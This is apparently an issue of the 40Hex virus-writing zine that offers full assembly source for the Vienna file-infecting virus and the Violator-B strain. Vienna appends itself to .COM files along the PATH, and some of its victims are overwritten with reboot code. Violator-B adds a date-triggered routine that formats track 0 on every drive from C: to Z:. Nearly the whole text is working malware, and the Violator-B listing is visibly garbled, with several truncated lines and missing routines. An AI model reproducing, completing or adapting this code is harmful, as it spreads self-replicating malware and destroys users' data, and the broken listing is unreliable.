40hEX vOLUME 1 iSSUE 2                                                   0011

                     vIENNA AND vIOLATOR vIRUSES

   tHE vIENNA VIRUS, SINCE IT'S SOURCE CODE WAS RELEASED, HAS BECOME
   ONE OF THE MOST COMMON VIRUSES EVER.  nOT ONLY THAT BUT THERE ARE
   OVER 20 KNOWN STRAINS OF THIS VIRUS.  wE AT 40hEX WANT TO ADD ON TO
   THE LIST BY GIVING OUT THE SOURCE FOR THE ORGINAL vIENNA VIRUS AS
   WELL AS THE vIOL
ATOR-b SOURCE BY rABID.

------------------------------------------------------------------------------

mov_cx  macro   x
       db      0b9h
       dw      x
endm


code    segment
       assume ds:code,ss:code,cs:code,es:code
       org     $+0100h

;*****************************************************************************
;sTART OUT WITH A jmp AROUND THE REMAINS OF THE ORIGINAL .com FILE, INTO THE
;VIRUS. tHE ACTUAL .com FILE WAS JUST AN int 20, FOLLOWED BY A BUNCH OF nops.
;tHE REST OF THE FILE (FIRST 3 BYTES) ARE STORED IN THE VIRUS DATA AREA.
;*****************************************************************************

vcode:  jmp     VIRUS


;tHIS WAS THE REST  OF THE ORIGINAL .com FILE. tINY AND SIMPLE, THIS TIME

       nop
       nop
       nop
       nop
       nop
       nop
       nop
       nop
       nop
       nop
       nop
       nop
       nop
       nop
       nop


;************************************************************
;
 tHE ACTUAL VIRUS STARTS HERE
;************************************************************

V_START EQU     $


VIRUS:  push    cx
       mov     dx,offset VIR_DAT       ;tHIS IS WHERE THE VIRUS DATA STARTS.
                                       ; tHE 2ND AND 3RD BYTES GET MODIFIED.
       cld                             ;pOINTERS WILL BE AUTO inCREMENTED
       mov     si,dx                   ;aCCESS DATA AS OFFSET FROM si
       add     si,FIRST_3              ;pOINT TO ORIGINAL 1ST 3 BYTES OF .com
       mov     di,offset 100h          ;CAUSE ALL .com FILES START AT 100h
       mov     cx,3
       repz    movsb                   ;rESTORE ORIGINAL FIRST 3 BYTES OF .com
       mov     si,dx                   ;kEEP si POINTING TO THE DATA AREA

;*************************************************************
;                   cHECK THE dos VERSION
;*************************************************************

       mov     ah,30h
       int     21h

       cmp     al,
0                    ;0 MEANS IT'S VERSION 1.x

       jnz     DOS_OK                  ;fOR VERSION 2.0 OR GREATER
       jmp     QUIT                    ;dON'T TRY TO INFECT VERSION 1.x


;*************************************************************
;  hERE IF THE dos VERSION IS HIGH ENOUGH FOR THIS TO WORK
;*************************************************************

DOS_OK: push    es


;*************************************************************
;               gET dta ADDRESS INTO es:bx
;*************************************************************

       mov     ah,2fh
       int     21h

;*************************************************************
;                    sAVE THE dta ADDRESS
;*************************************************************


       mov     [si+OLD_DTA],bx
       mov     [si+OLD_DTS],es         ;sAVE THE dta ADDRESS

       pop     es

;*************************************************************
;        sET dta TO POINT INSIDE THE VIR
US DATA AREA
;*************************************************************

       mov     dx,DTA                  ;oFFSET OF NEW dta IN VIRUS DATA AREA
;       nop                             ;masm WILL ADD THIS nop HERE
       add     dx,si                   ;cOMPUTE dta ADDRESS
       mov     ah,1ah
       int     21h                     ;sET NEW dta TO INSIDE OUR OWN CODE


       push    es
       push    si
       mov     es,ds:2ch
       mov     di,0                    ;es:di POINTS TO ENVIRONMENT

;************************************************************
;        fIND THE "path=" STRING IN THE ENVIRONMENT
;************************************************************

FIND_PATH:
       pop     si
       push    si                      ;gET si BACK
       add     si,ENV_STR              ;pOINT TO "path=" STRING IN DATA AREA
       lodsb
       mov     cx,offset 8000h         ;eNVIRONMENT CAN BE 32768 BYTES LONG
       repnz   scasb                   ;sEARCH FOR
FIRST CHARACTER
       mov     cx,4

;************************************************************
;       lOOP TO CHECK FOR THE NEXT FOUR CHARACTERS
;************************************************************

CHECK_NEXT_4:
       lodsb
       scasb
       jnz     FIND_PATH               ;iF NOT ALL THERE, ABORT & START OVER
       loop    CHECK_NEXT_4            ;lOOP TO CHECK THE NEXT CHARACTER

       pop     si
       pop     es
       mov     [si+PATH_AD],di         ;sAVE THE ADDRESS OF THE path
       mov     di,si
       add     di,WRK_SPC              ;fILE NAME WORKSPACE
       mov     bx,si                   ;sAVE A COPY OF si
       add     si,WRK_SPC              ;pOINT si TO WORKSPACE
       mov     di,si                   ;pOINT di TO WORKSPACE
       jmp     short   SLASH_OK


;**********************************************************
;     lOOK IN THE path FOR MORE SUBDIRECTORIES, IF ANY
;**********************************************************

SET
_SUBDIR:
       cmp     word ptr [si+PATH_AD],0 ;iS path STRING ENDED?
       jnz     FOUND_SUBDIR            ;iF NOT, THERE ARE MORE SUBDIRECTORIES
       jmp     ALL_DONE                ;eLSE, WE'RE ALL DONE


;**********************************************************
;    hERE IF THERE ARE MORE SUBDIRECTORIES IN THE PATH
;**********************************************************

FOUND_SUBDIR:
       push    ds
       push    si
       mov     ds,es:2ch               ;ds POINTS TO ENVIRONMENT SEGMENT
       mov     di,si
       mov     si,es:[di+PATH_AD]      ;si = path ADDRESS
       add     di,WRK_SPC              ;di POINTS TO FILE NAME WORKSPACE


;***********************************************************
;      mOVE SUBDIRECTORY NAME INTO FILE NAME WORKSPACE
;***********************************************************

MOVE_SUBDIR:
       lodsb                           ;gET CHARACTER
       cmp     al,';'                  ;iS IT A ';' DELIMITER?
       jz
MOVED_ONE               ;yES, FOUND ANOTHER SUBDIRECTORY
       cmp     al,0                    ;eND OF path STRING?
       jz      MOVED_LAST_ONE          ;yES
       stosb                           ;sAVE path MARKER INTO [di]
       jmp     short   MOVE_SUBDIR

;******************************************************************
; mARK THE FACT THAT WE'RE LOOKING THROUGH THE FINAL SUBDIRECTORY
;******************************************************************

MOVED_LAST_ONE:
       mov     si,0


;******************************************************************
;              hERE AFTER WE'VE MOVED A SUBDIRECTORY
;******************************************************************

MOVED_ONE:
       pop     bx                      ;pOINTER TO VIRUS DATA AREA
       pop     ds                      ;rESTORE ds
       mov     [bx+PATH_AD],si         ;aDDRESS OF NEXT SUBDIRECTORY
       nop

;******************************************************************
;             mAKE
SURE SUBDIRECTORY ENDS IN A "\"
;******************************************************************

       cmp     ch,'\'                  ;eNDS WITH "\"?
       jz      SLASH_OK                ;iF YES
       mov     al,'\'                  ;aDD ONE, IF NOT
       stosb


;******************************************************************
;     hERE AFTER WE KNOW THERE'S A BACKSLASH AT END OF SUBDIR
;******************************************************************

SLASH_OK:
       mov     [bx+NAM_PTR],di         ;sET FILENAME POINTER TO NAME WORKSPACE
       mov     si,bx                   ;rESTORE si
       add     si,F_SPEC               ;pOINT TO "*.com"
       mov     cx,6
       repz    movsb                   ;mOVE "*.com",0 TO WORKSPACE

       mov     si,bx


;*******************************************************************
;                 fIND FIRST STRING MATCHING *.com
;*******************************************************************

       mov     a
h,4eh
       mov     dx,WRK_SPC
;       nop                             ;masm WILL ADD THIS nop HERE
       add     dx,si                   ;dx POINTS TO "*.com" IN WORKSPACE
       mov     cx,3                    ;aTTRIBUTES OF rEAD oNLY OR hIDDEN ok
       int     21h

       jmp     short   FIND_FIRST


;*******************************************************************
;              fIND NEXT asciiz STRING MATCHING *.com
;*******************************************************************

FIND_NEXT:
       mov     ah,4fh
       int     21h

FIND_FIRST:
       jnb     FOUND_FILE              ;jUMP IF WE FOUND IT
       jmp     short   SET_SUBDIR      ;oTHERWISE, GET ANOTHER SUBDIRECTORY

;*******************************************************************
;                      hERE WHEN WE FIND A FILE
;*******************************************************************

FOUND_FILE:
       mov     ax,[si+DTA_TIM]         ;gET TIME FROM dta
       and     al,1fh
         ;mASK TO REMOVE ALL BUT SECONDS
       cmp     al,1fh                  ;62 SECONDS -> ALREADY INFECTED
       jz      FIND_NEXT               ;iF SO, GO FIND ANOTHER FILE

       cmp     word ptr [si+DTA_LEN],offset 0fa00h ;iS THE FILE TOO LONG?
       ja      FIND_NEXT               ;iF TOO LONG, FIND ANOTHER ONE

       cmp     word ptr [si+DTA_LEN],0ah ;iS IT TOO SHORT?
       jb      FIND_NEXT               ;tHEN GO FIND ANOTHER ONE

       mov     di,[si+NAM_PTR]         ;di POINTS TO FILE NAME
       push    si                      ;sAVE si
       add     si,DTA_NAM              ;pOINT si TO FILE NAME

;********************************************************************
;                mOVE THE NAME TO THE END OF THE PATH
;********************************************************************

MORE_CHARS:
       lodsb
       stosb
       cmp     al,0
       jnz     MORE_CHARS              ;mOVE CHARACTERS UNTIL WE FIND A 00


;******************************
**************************************
;                        gET fILE aTTRIBUTES
;********************************************************************

       pop     si
       mov     ax,offset 4300h
       mov     dx,WRK_SPC              ;pOINT TO \PATH\NAME IN WORKSPACE
;       nop                             ;masm WILL ADD THIS nop HERE
       add     dx,si
       int     21h


       mov     [si+OLD_ATT],cx         ;sAVE THE OLD ATTRIBUTES


;********************************************************************
;         rEWRITE THE ATTRIBUTES TO ALLOW WRITING TO THE FILE
;********************************************************************

       mov     ax,offset 4301h         ;sET ATTRIBUTES
       and     cx,offset 0fffeh        ;sET ALL EXCEPT "READ ONLY" (WEIRD)
       mov     dx,WRK_SPC              ;oFFSET OF \PATH\NAME IN WORKSPACE
;       nop                             ;masm WILL ADD THIS nop HERE
       add     dx,si                   ;pOINT TO \PATH\NAME

       int     21h

;********************************************************************
;                oPEN rEAD/wRITE CHANNEL TO THE FILE
;********************************************************************

       mov     ax,offset 3d02h         ;rEAD/wRITE
       mov     dx,WRK_SPC              ;oFFSET TO \PATH\NAME IN WORKSPACE
;       nop                             ;masm WILL ADD THIS nop HERE
       add     dx,si                   ;pOINT TO \PATH\NAME
       int     21h

       jnb     OPENED_OK               ;iF FILE WAS OPENED ok
       jmp     FIX_ATTR                ;iF IT FAILED, RESTORE THE ATTRIBUTES


;*******************************************************************
;                        gET THE FILE DATE & TIME
;*******************************************************************

OPENED_OK:
       mov     bx,ax
       mov     ax,offset 5700h
       int     21h

       mov     [si+OLD_TIM],cx         ;sAVE FILE TIME
       mov     [si+OL_DATE],dx
      ;sAVE THE DATE

;*******************************************************************
;                        gET CURRENT SYSTEM TIME
;*******************************************************************

       mov     ah,2ch
       int     21h


       and     dh,7                    ;lAST 3 BITS 0? (ONCE IN EIGHT)
       jnz     SEVEN_IN_EIGHT


;*******************************************************************
; tHE SPECIAL "ONE IN EIGHT" INFECTION. iF THE ABOVE LINE WERE IN
;  ITS ORIGINAL FORM, THIS CODE WOULD BE RUN 1/8 OF THE TIME, AND
;  RATHER THAN APPENDING A COPY OF THIS VIRUS TO THE .com FILE, THE
;  FILE WOULD GET 5 BYTES OF CODE THAT REBOOT THE SYSTEM WHEN THE
;  .com FILE IS RUN.
;*******************************************************************


       mov     ah,40h                  ;wRITE TO FILE
       mov     cx,5                    ;fIVE BYTES
       mov     dx,si
       add     dx,REBOOT               ;oFFSET OF REBOOT CODE IN DATA AREA

int     21h

       jmp     short   FIX_TIME_STAMP

       nop


;******************************************************************
;      hERE'S WHERE WE INFECT A .com FILE WITH THIS VIRUS
;******************************************************************

SEVEN_IN_EIGHT:
       mov     ah,3fh
       mov     cx,3
       mov     dx,FIRST_3
;       nop                     ;masm WILL ADD THIS nop HERE
       add     dx,si
       int     21h             ;sAVE FIRST 3 BYTES INTO THE DATA AREA

       jb      FIX_TIME_STAMP  ;qUIT, IF READ FAILED

       cmp     ax,3            ;wERE WE ABLE TO READ ALL 3 BYTES?
       jnz     FIX_TIME_STAMP  ;qUIT, IF NOT


;******************************************************************
;              mOVE FILE POINTER TO END OF FILE
;******************************************************************

       mov     ax,offset 4202h
       mov     cx,0
       mov     dx,0
       int     21h

       jb      FIX_TIME_STAMP  ;qUIT, IF IT
DIDN'T WORK

       mov     cx,ax           ;dx:ax (LONG INT) = FILE SIZE
       sub     ax,3            ;sUBTRACT 3 (ok, SINCE dx MUST BE 0, HERE)
       mov     [si+JMP_DSP],ax ;sAVE THE DISPLACEMENT IN A jmp INSTRUCTION

       add     cx,offset C_LEN_Y
       mov     di,si           ;pOINT di TO VIRUS DATA AREA
       sub     di,offset C_LEN_X
                               ;pOINT di TO REFERENCE VIR_DAT, AT START OF PGM
       mov     [di],cx         ;mODIFY VIR_DAT REFERENCE:2ND, 3RD BYTES OF PGM


;*******************************************************************
;                    wRITE VIRUS CODE TO FILE
;*******************************************************************

       mov     ah,40h

       mov_cx  VIRLEN                  ;lENGTH OF VIRUS, IN BYTES

       mov     dx,si
       sub     dx,offset CODELEN       ;lENGTH OF VIRUS CODE, GIVES STARTING
                                       ; ADDRESS OF VIRUS CODE IN MEMORY
       int     21h

       jb
     FIX_TIME_STAMP          ;jUMP IF ERROR

       cmp     ax,offset VIRLEN        ;aLL BYTES WRITTEN?
       jnz     FIX_TIME_STAMP          ;jUMP IF ERROR


;**********************************************************************
;                mOVE FILE POINTER TO BEGINNING OF THE FILE
;**********************************************************************

       mov     ax,offset 4200h
       mov     cx,0
       mov     dx,0
       int     21h

       jb      FIX_TIME_STAMP          ;jUMP IF ERROR


;**********************************************************************
;              wRITE THE 3 BYTE jmp AT THE START OF THE FILE
;**********************************************************************

       mov     ah,40h
       mov     cx,3
       mov     dx,si                   ;vIRUS DATA AREA
       add     dx,JMP_OP               ;pOINT TO THE RECONSTRUCTED jmp
       int     21h


;**********************************************************************
;
rESTORE OLD FILE DATE & TIME, WITH SECONDS MODIFIED TO 62
;**********************************************************************

FIX_TIME_STAMP:
       mov     dx,[si+OL_DATE]         ;oLD FILE DATE
       mov     cx,[si+OLD_TIM]         ;oLD FILE TIME
       and     cx,offset 0ffe0h
       or      cx,1fh                  ;sECONDS = 31/30 MIN = 62 SECONDS
       mov     ax,offset 5701h
       int     21h


;**********************************************************************
;                              cLOSE fILE
;**********************************************************************

       mov     ah,3eh
       int     21h


;**********************************************************************
;                     rESTORE oLD fILE aTTRIBUTES
;**********************************************************************

FIX_ATTR:
       mov     ax,offset 4301h
       mov     cx,[si+OLD_ATT]         ;oLD aTTRIBUTES
       mov     dx,WRK_SPC
;       nop
          ;masm WILL ADD THIS nop
       add     dx,si                   ;dx POINTS TO \PATH\NAME IN WORKSPACE
       int     21h


;**********************************************************************
;              hERE WHEN IT'S TIME TO CLOSE IT UP & END
;**********************************************************************

ALL_DONE:
       push    ds


;**********************************************************************
;                         rESTORE OLD dta
;**********************************************************************

       mov     ah,1ah
       mov     dx,[si+OLD_DTA]
       mov     ds,[si+OLD_DTS]
       int     21h

       pop     ds


;*************************************************************************
; cLEAR REGISTERS USED, & DO A WEIRD KIND OF jmp 100. tHE WEIRDNESS COMES
;  IN SINCE THE ADDRESS IN A REAL jmp 100 IS AN OFFSET, AND THE OFFSET
;  VARIES FROM ONE INFECTED FILE TO THE NEXT. bY pushING AN 0100h ONTO THE
;  STACK, WE CAN ret T
O ADDRESS 0100h JUST AS THOUGH WE jmpED THERE.
;**********************************************************************

QUIT:
       pop     cx
       xor     ax,ax
       xor     bx,bx
       xor     dx,dx
       xor     si,si
       mov     di,offset 0100h
       push    di
       xor     di,di

       ret     0ffffh

;************************************************************************
;tHE VIRUS DATA STARTS HERE. iT'S ACCESSED OFF THE si REGISTER, PER THE
; COMMENTS AS SHOWN
;************************************************************************

VIR_DAT equ     $


       ;uSE THIS WITH (si + OLD_DTA)
OLDDTA_ dw      0                       ;oLD dta OFFSET

       ;uSE THIS WITH (si + OLD_DTS)
OLDDTS_ dw      0                       ;oLD dta SEGMENT

       ;uSE THIS WITH (si + OLD_TIM)
OLDTIM_ dw      0                       ;oLD tIME

       ;uSE THIS WITH (si + OL_DATE)
OLDATE_ dw      0                       ;oLD DATE

       ;uSE THIS WITH (si + OLD_ATT)
O
LDATT_ dw      0                       ;oLD FILE ATTRIBUTES



;hERE'S WHERE THE FIRST THREE BYTES OF THE ORIGINAL .com FILE GO.(si + FIRST_3)

FIRST3_ equ     $
       int     20h
       nop



;hERE'S WHERE THE NEW jmp INSTRUCTION IS WORKED OUT

       ;uSE THIS WITH (si + JMP_OP)
JMPOP_  db      0e9h                    ;sTART OF jmp INSTRUCTION

       ;uSE THIS WITH (si + JMP_DSP)
JMPDSP_ dw      0                       ;tHE DISPLACEMENT PART



;tHIS IS THE TYPE OF FILE  WE'RE LOOKING TO INFECT. (si + F_SPEC)

FSPEC_  db      '*.com',0

       ;uSE THIS WITH (si + PATH_AD)
PATHAD_ dw      0                       ;pATH ADDRESS

       ;uSE THIS WITH (si + NAM_PTR)
NAMPTR_ dw      0                       ;pOINTER TO START OF FILE NAME

       ;uSE THIS WITH (si + ENV_STR)
ENVSTR_ db      'path='                 ;fIND THIS IN THE ENVIRONMENT

       ;fILE NAME WORKSPACE (si + WRK_SPC)
WRKSPC_ db      40H DUP (0)

       ;uSE THIS WITH (si + DTA)
DTA_    db      16H DUP (0)
          ;tEMPORARY dta GOES HERE

       ;uSE THIS WITH (si + DTA_TIM)
DTATIM_ dw      0,0                     ;tIME STAMP IN dta

       ;uSE THIS WITH (si + DTA_LEN)
DTALEN_ dw      0,0                     ;fILE LENGTH IN THE dta

       ;uSE THIS WITH (si + DTA_NAM)
DTANAM_ db      0dH DUP (0)             ;fILE NAME IN THE dta

       ;uSE THIS WITH (si + REBOOT)
REBOOT_ db      0eah,0f0h,0ffh,0ffh,0ffh ;fIVE BYTE far jmp TO ffff:fff0


LST_BYT equ     $                       ;aLL LINES THAT ASSEMBLE INTO CODE ARE
                                       ;  ABOVE THIS ONE


;*****************************************************************************
;tHE VIRUS NEEDS TO KNOW A FEW DETAILS ABOUT ITS OWN SIZE AND THE SIZE OF ITS
; CODE PORTION. lET THE ASSEMBLER FIGURE OUT THESE SIZES AUTOMATICALLY.
;*****************************************************************************

VIRLEN  =       LST_BYT - V_START       ;lENGTH, IN BYTES, OF THE ENTIRE VIRUS
CODELEN =       VIR_DA
T - V_START       ;lENGTH OF VIRUS CODE, ONLY
C_LEN_X =       VIR_DAT - V_START - 2   ;dISPLACEMENT FOR SELF-MODIFYING CODE
C_LEN_Y =       VIR_DAT - V_START + 100h ;cODE LENGTH + 100H, FOR psp


;*****************************************************************************
;bECAUSE THIS CODE IS BEING APPENDED TO THE END OF AN EXECUTABLE FILE, THE
; EXACT ADDRESS OF ITS VARIABLES CANNOT BE KNOWN. aLL ARE ACCESSED AS OFFSETS
; FROM si, WHICH IS REPRESENTED AS VIR_DAT IN THE BELOW DECLARATIONS.
;*****************************************************************************

OLD_DTA =       OLDDTA_ - VIR_DAT       ;dISPLACEMENT TO THE OLD dta OFFSET
OLD_DTS =       OLDDTS_ - VIR_DAT       ;dISPLACEMENT TO THE OLD dta SEGMENT
OLD_TIM =       OLDTIM_ - VIR_DAT       ;dISPLACEMENT TO OLD FILE TIME STAMP
OL_DATE =       OLDATE_ - VIR_DAT       ;dISPLACEMENT TO OLD FILE DATE STAMP
OLD_ATT =       OLDATT_ - VIR_DAT       ;dISPLACEMENT TO OLD ATTRIBUTES
FIRST_3 =       FIRST3_ - VIR_DAT       ;dI
SPLACEMENT-1ST 3 BYTES OF OLD .com
JMP_OP  =       JMPOP_  - VIR_DAT       ;dISPLACEMENT TO THE jmp OPCODE
JMP_DSP =       JMPDSP_ - VIR_DAT       ;dISPLACEMENT TO THE 2ND 2 BYTES OF jmp
F_SPEC  =       FSPEC_  - VIR_DAT       ;dISPLACEMENT TO THE "*.com" STRING
PATH_AD =       PATHAD_ - VIR_DAT       ;dISPLACEMENT TO THE PATH ADDRESS
NAM_PTR =       NAMPTR_ - VIR_DAT       ;dISPLACEMENT TO THE FILENAME POINTER
ENV_STR =       ENVSTR_ - VIR_DAT       ;dISPLACEMENT TO THE "path=" STRING
WRK_SPC =       WRKSPC_ - VIR_DAT       ;dISPLACEMENT TO THE FILENAME WORKSPACE
DTA     =       DTA_    - VIR_DAT       ;dISPLACEMENT TO THE TEMPORARY dta
DTA_TIM =       DTATIM_ - VIR_DAT       ;dISPLACEMENT TO THE TIME IN THE dta
DTA_LEN =       DTALEN_ - VIR_DAT       ;dISPLACEMENT TO THE LENGTH IN THE dta
DTA_NAM =       DTANAM_ - VIR_DAT       ;dISPLACEMENT TO THE NAME IN THE dta
REBOOT  =       REBOOT_ - VIR_DAT       ;dISPLACEMENT TO THE 5 BYTE REBOOT CODE

       code    ends
end     vcode

----
--------------------------------------------------------------------------

                 nOW HERE'S THE SOURCE FOR vIOLATOR-b

------------------------------------------------------------------------------
;*****************************************************************************
;
;                           vIOLATOR - sTRAIN b
;
;*****************************************************************************
;
; (aUG/09/90)
;
; dEVELOPMENT nOTES:
;
; i ENCOUNTERED SEVERAL ERRORS IN THE ORIGINAL vIOLATOR CODE WHICH i
;    CORRECTED IN THIS VERSION. mAINLY, THE int 26 ROUTINE TO FUCK THE
;     DISK. iT SEEMS THAT THE ROUTINE WOULD CRASH RIGHT AFTER THE int 26
;    WAS EXECUTED AND THE WHOLE PROGRAM WOULD DIE. i HAVE SINCE FIXED
;      THIS PROBLEM IN THIS VERSION WITH AN int 13, ah 05 (fORMAT tRACK)
;     COMMAND. tHIS WORKS BETTER THAN THE SUBSEQUENT int 26.
;
;
;*****************************************************************************
;
;                      wRITTEN BY -
pROGRAMMER
;
;                                rEVISED BY: �oNSLAUGHT�
;                               nO AFFILIATION WITH RABiD
;
;              cOPYRIGHT (c) 1990 BY rabid nAT'NL dEVELOPMENT cORP.
;
;*****************************************************************************

mov_cx  macro   x
       db      0b9h
       dw      x
endm

code    segment
       assume ds:code,ss:code,cs:code,es:code
       org     $+0100h                          ; sET org TO 100h PLUS OUR OWN

vcode:  jmp     VIRUS

nop
   nop
   nop                                     ;15 nop'S TO PLACE jmp hEADER
 nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop

V_START EQU     $


VIRUS:  push    cx
       mov     dx,offset VIR_DAT
       cld
       mov     si,dx
       add     si,FIRST_3
    mov     cx,3
       mov     di,offset 100h
       repz    movsb
       mov     si,dx
       mov     ah,30h
int     21h
   cmp     al,0
    mov     [si+OLD_DTS],es
       pop     es
       mov     dx,DTA
       add     dx,si
       mov     ah,1ah
       int     21h
       push    es
       push    si
       mov     es,ds:2ch
       mov     di,0
   jmp     YEAR_CHECK

YEAR_CHECK:
       mov     ah,2ah                  ;gET DATE INFO
int     21h                     ;cALL dos
     cmp     cx,1990                 ;cHECK TO SEE IF THE YEAR IS 1990
     jge     MONTH_CHECK             ;iF GREATER OR EQUAL, CHECK MONTH
     jmp     FIND_PATH               ;iF NOT, GO ON WITH INFECTION

MONTH_CHECK:
   mov     ah,2ah                  ;gET DATE INFO
int     21H                     ;cALL dos
     cmp     dh,10                   ;cHECK TO SEE IF IT IS sEPTEMBER
      jge     DAY_CHECK               ;iF GREATER OR EQUAL, CHECK DAY
       jmp     FIND_PATH               ;IF NOT, GO ON WITH INFECTION

DAY_CHECK:
     mov     ah,2aH
LTER                    ;gO AND KILL THE DRIVE
                                       ;25 IS DRIVE z:
cmp     CNTR,25                 ;iS (CNTR) 25 ?
       je      FIND_PATH               ;gO ON WITH INFECTION
 inc     CNTR                    ;aDD ONE TO (CNTR)
    loop    MULTIPLEX               ;lOOP BACK UP TO KILL NEXT DRIVE

ALTER:
      mov     ah,05                   ;fORMAT tRACK
 mov     ch,0                    ;fORMAT TRACK 0
       mov     dh,0                    ;hEAD 0
       mov     dl,CNTR                 ;fORMAT FOR DRIVE IN (CNTR)
   int     13H                     ;cALL rwts
    ret                             ;rETURN UP FOR NEXT DRIVE

FIND_PATH:
       pop     si
       push    si
       add     si,ENV_STR
       lodsb
       mov     cx,offset 8000h
       repnz   scasb
       mov     cx,4

CHECK_NEXT_4:
       lodsb
       scasb
;
; tHE jnz LINE SPECIFIES THAT IF THERE IS NO path PRESENT, THEN WE WILL GO
; ALONG AND INFECT THE root DIRECTORY ON
 mov     [si+PATH_AD],di
       mov     di,si
       add     di,WRK_SPC              ;pUT THE FILENAME IN WRK_SPC
       mov     bx,si
       add     si,WRK_SPC
       mov     di,si
       jmp     short   SLASH_OK

SET_SUBDIR:
       cmp     word ptr [si+PATH_AD],0
       jnz     FOUND_SUBDIR
       jmp     ALL_DONE


FOUND_SUBDIR:
       push    ds
       push    si
       mov     ds,es:2ch
       mov     di,si
       mov     si,es:[di+PATH_AD]
       add     di,WRK_SPC              ;di IS THE FILE NAME TO INFECT! (HEHE)


MOVE_SUBDIR:
       lodsb                           ;tO TEDIOUS WORK TO MOVE INTO SUBDIR
       cmp     al,';'                  ;dOES IT END WITH A ; CHARACHTER?
       jz      MOVED_ONE               ;IF YES, THEN WE FOUND A SUBDIR
       cmp     al,0                    ;IS IT THE END OF THE PATH?
       jz      MOVED_LAST_ONE          ;IF YES, THEN WE SAVE THE path
       stosb                           ;MARKER INTO di FOR FUTURE REFERENCE

     jmp     short   MOVE_SUBDIR

MOVED_LAST_ONE:
       mov     si,0

MOVED_ONE:
       pop     bx                      ;bx IS WHERE THE VIRUS DATA IS
       pop     ds                      ;rESTORE ds SO THAT WE CAN DO STUPH
       mov     [bx+PATH_AD],si         ;wHERE IS THE NEXT SUBDIR?
       nop
       cmp     ch,'\'                  ;cHECK TO SEE IF IT ENDS IN \
       jz      SLASH_OK                ;iF YES, THEN IT'S ok
       mov     al,'\'                  ;IF NOT, THEN ADD ONE...
       stosb                                ;STORE THE SUCKER


SLASH_OK:
       mov     [bx+NAM_PTR],di         ;mOVE THE FILENAME INTO WORKSPACE
       mov     si,bx                   ;rESTORE THE ORIGINAL si VALUE
       add     si,F_SPEC               ;pOINT TO com FILE VICTIM
       mov     cx,6
       repz    movsb                   ;mOVE VICTIM INTO WORKSPACE
       mov     si,bx
       mov     ah,4eh
       mov     dx,WRK_SPC
       add     dx,si                   ;dx IS
ov     cx,3                    ;aTTRIBUTES OF rEAD oNLY OR hIDDEN ok
       int     21h
       jmp     short   FIND_FIRST

FIND_NEXT:
       mov     ah,4fh
       int     21h

FIND_FIRST:
       jnb     FOUND_FILE              ;jUMP IF WE FOUND IT
       jmp     short   SET_SUBDIR      ;oTHERWISE, GET ANOTHER SUBDIRECTORY

FOUND_FILE:
       mov     ax,[si+DTA_TIM]         ;gET TIME FROM dta
       and     al,1eh                  ;mASK TO REMOVE ALL BUT SECONDS
       cmp     al,1eh                  ;60 SECONDS
       jz      FIND_NEXT
       cmp     word ptr [si+DTA_LEN],offset 0fa00h ;iS THE FILE TOO LONG?
       ja      FIND_NEXT               ;iF TOO LONG, FIND ANOTHER ONE
       cmp     word ptr [si+DTA_LEN],0ah ;iS IT TOO SHORT?
       jb      FIND_NEXT               ;tHEN GO FIND ANOTHER ONE
       mov     di,[si+NAM_PTR]
       push    si
       add     si,DTA_NAM

MORE_CHARS:
       lodsb
       stosb
       cmp     al,0
       jnz     MORE_CHARS
       p
op     si
       mov     ax,offset 4300h
       mov     dx,WRK_SPC
       add     dx,si
       int     21h
       mov     [si+OLD_ATT],cx
       mov     ax,offset 4301h
       and     cx,offset 0fffeh
       mov     dx,WRK_SPC
       add     dx,si
       int     21h
       mov     ax,offset 3d02h
       mov     dx,WRK_SPC
       add     dx,si
       int     21h
       jnb     OPENED_OK
       jmp     FIX_ATTR

OPENED_OK:
       mov     bx,ax
       mov     ax,offset 5700h
       int     21h
       mov     [si+OLD_TIM],cx         ;sAVE FILE TIME
       mov     [si+OL_DATE],dx         ;sAVE THE DATE
       mov     ah,2ch
       int     21h
       and     dh,7
       jmp     INFECT

INFECT:
       mov     ah,3fh
       mov     cx,3
       mov     dx,FIRST_3
       add     dx,si
       int     21h             ;sAVE FIRST 3 BYTES INTO THE DATA AREA
       jb      FIX_TIME_STAMP
       cmp     ax,3
       jnz     FIX_TIME_STAMP
       mov     ax,offset 4202h

       mov     cx,0
       mov     dx,0
       int     21h
       jb      FIX_TIME_STAMP
       mov     cx,ax
       sub     ax,3
       mov     [si+JMP_DSP],ax
       add     cx,offset C_LEN_Y
       mov     di,si
       sub     di,offset C_LEN_X

       mov     [di],cx
       mov     ah,40h
       mov_cx  VIRLEN
       mov     dx,si
       sub     dx,offset CODELEN
       int     21h
       jb      FIX_TIME_STAMP
       cmp     ax,offset VIRLEN
       jnz     FIX_TIME_STAMP
       mov     ax,offset 4200h
       mov     cx,0
       mov     dx,0
       int     21h
       jb      FIX_TIME_STAMP
       mov     ah,40h
       mov     cx,3
       mov     dx,si
       add     dx,JMP_OP
       int     21h

FIX_TIME_STAMP:
       mov     dx,[si+OL_DATE]
       mov     cx,[si+OLD_TIM]
       and     cx,offset 0ffe0h
       or      cx,1eh
       mov     ax,offset 5701h
       int     21h
       mov     ah,3eh
       int     21h

FIX_ATTR:
       mov     ax,
offset 4301h
       mov     cx,[si+OLD_ATT]
       mov     dx,WRK_SPC
       add     dx,si
       int     21h

ALL_DONE:
       push    ds
       mov     ah,1ah
       mov     dx,[si+OLD_DTA]
       mov     ds,[si+OLD_DTS]
       int     21h
       pop     ds

QUIT:
       pop     cx
       xor     ax,ax                   ;xor VALUES SO THAT WE WILL GIVE THE
       xor     bx,bx                      ;POOR SUCKER A HARD TIME TRYING TO
       xor     dx,dx                        ;REASSEMBLE THE SOURCE CODE IF HE
       xor     si,si                 ;DECIDES TO DISSASSEMBLE US.
       mov     di,offset 0100h
       push    di
       xor     di,di
       ret     0ffffh                    ;rETURN BACK TO THE BEGINNING
                                 ;OF THE PROGRAM

VIR_DAT equ     $

INTRO       DB      '.d$^I*&b)_A.%r',13,10
OLDDTA_ dw      0
OLDDTS_ dw      0
OLDTIM_ dw      0
COUNT_     dw      0
CNTR  db      2                               ; dRIVE TO NUKE FROM (c:
    0
NAMPTR_ dw      0
ENVSTR_ db      'path='
WRKSPC_ db      40H DUP (0)
DTA_    db      16H DUP (0)
DTATIM_ dw      0,0
DTALEN_ dw      0,0
DTANAM_ db      0dH DUP (0)
LST_BYT equ     $
VIRLEN  =       LST_BYT - V_START
CODELEN =       VIR_DAT - V_START
C_LEN_X =       VIR_DAT - V_START - 2
C_LEN_Y =       VIR_DAT - V_START + 100h
OLD_DTA =       OLDDTA_ - VIR_DAT
